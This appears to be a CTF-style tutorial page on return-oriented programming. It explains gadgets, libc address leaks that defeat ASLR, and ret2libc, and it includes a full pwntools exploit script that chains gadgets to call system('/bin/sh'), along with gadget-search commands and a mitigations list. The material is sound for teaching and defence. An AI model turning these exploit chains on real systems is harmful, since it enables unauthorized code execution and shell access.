Skip to content
Pwnversity
PWN-ROPexpert · 6 min · upd. 2026-10

Return-Oriented Programming (ROP)

When the stack isn’t executable (NX/DEP enabled), you can’t put shellcode and jump to it. The solution is ROP: instead of injecting new code, you reuse pieces of code that already exist in the binary or in libc. Those pieces, called gadgets, are short sequences ending in ret; chaining them on the stack you build the logic you want (put arguments in registers, call system, make a syscall) without injecting a single new instruction.

We start from stack control (typically a stack overflow with a known offset, see Stack Buffer Overflow) and a binary with NX enabled. ROP turns that stack control into arbitrary code execution by reusing the legitimate code already loaded. Authorized lab/CTF scenario.

A gadget is a sequence ending in ret, for example pop rdi ; ret. Since you control the stack, you control which “returns” get chained: each ret does pop rip of the next value you placed.

flowchart TD
    A["initial ret from the overflow"] --> B["pop rdi ; ret"]
    B --> C["value: &'/bin/sh'  (goes to RDI)"]
    C --> D["alignment ret"]
    D --> E["system()"]
    E --> F["shell"]

The stack looks like: [pop rdi; ret][&'/bin/sh'][ret][system]. Effect: RDI = "/bin/sh", the stack gets aligned, and system("/bin/sh") is called. It’s “programming” with returns.

Ventana de terminal
ROPgadget --binary ./vuln # list all gadgets
ROPgadget --binary ./vuln | grep "pop rdi"
ropper --file ./vuln --search "pop rdi"

In GDB with pwndbg: rop or ropgadget. The most sought-after (per the calling convention, see x86-64 Assembly): pop rdi ; ret, pop rsi ; ret, pop rdx ; ret, and a lone ret for alignment.

With ASLR, libc’s base changes every run. First you leak a libc address (by printing a GOT entry with puts), compute the base, and from it the addresses of system//bin/sh:

from pwn import *
context.binary = elf = ELF('./vuln')
libc = ELF('./libc.so.6')
io = process('./vuln')
offset = 72
pop_rdi = 0x4011d3 # binary gadget (from ROPgadget)
ret = 0x40101a # alignment ret
# 1st ROP: leak -> puts(puts@got) to leak the real address of puts
rop1 = flat(b'A'*offset, pop_rdi, elf.got['puts'], elf.plt['puts'], elf.symbols['main'])
io.sendlineafter(b'> ', rop1)
leak = u64(io.recvline().strip().ljust(8, b'\x00'))
libc.address = leak - libc.symbols['puts'] # libc base
log.info('libc base = %#x', libc.address)

With the libc base computed, the second ROP calls system("/bin/sh"):

# 2nd ROP: ret2libc
binsh = next(libc.search(b'/bin/sh\x00'))
rop2 = flat(
b'A'*offset,
pop_rdi, binsh, # RDI = "/bin/sh"
ret, # align the stack to 16 bytes (movaps in modern libc)
libc.symbols['system'] # system("/bin/sh")
)
io.sendlineafter(b'> ', rop2)
io.interactive()

pwntools builds chains automatically with the ROP object, which avoids placing gadgets by hand:

rop = ROP([elf, libc])
rop.call('system', [binsh]) # resolves pop rdi; ret and alignment for you
payload = flat(b'A'*offset, rop.chain())
  • ret2syscall — chain gadgets for a direct execve("/bin/sh", 0, 0) syscall (RAX=59, RDI=&binsh, RSI=0, RDX=0 ; syscall); useful without libc.
  • SROP (Sigreturn-Oriented Programming) — abuse sigreturn to set all registers at once with a fake frame (SigreturnFrame in pwntools).
  • ret2csu — use the universal __libc_csu_init gadget to control RDI/RSI/RDX when gadgets are missing (on very old binaries).
  • one_gadget — a single libc address that spawns a shell if certain register constraints hold.
  • stack pivoting — move RSP to controlled memory when the overflow is too small for the whole chain.
  • CFI (Control-Flow Integrity) and shadow stacks (Intel CET, endbr64): make chaining arbitrary returns harder.
  • Strong ASLR + PIE: with no leak there’s no reliable ROP; avoid leaks (don’t print pointers, close format strings).
  • Full RELRO (read-only GOT) closes GOT overwrites; stack canaries cut the source overflow.
  • Reduce useful gadgets (-fcf-protection), and where possible, memory-safe languages.
  • Confirm NX (checksec) → ROP needed
  • Control of RIP via overflow (known offset)
  • Find gadgets (ROPgadget/ropper): pop rdi/rsi/rdx
  • Libc leak (bypass ASLR) and base computation
  • ret2libc: system("/bin/sh") or ret2syscall execve
  • Stack alignment (extra ret) on modern libc
  • one_gadget / SROP / ret2csu if it fits
  • Shell/flag locally → remote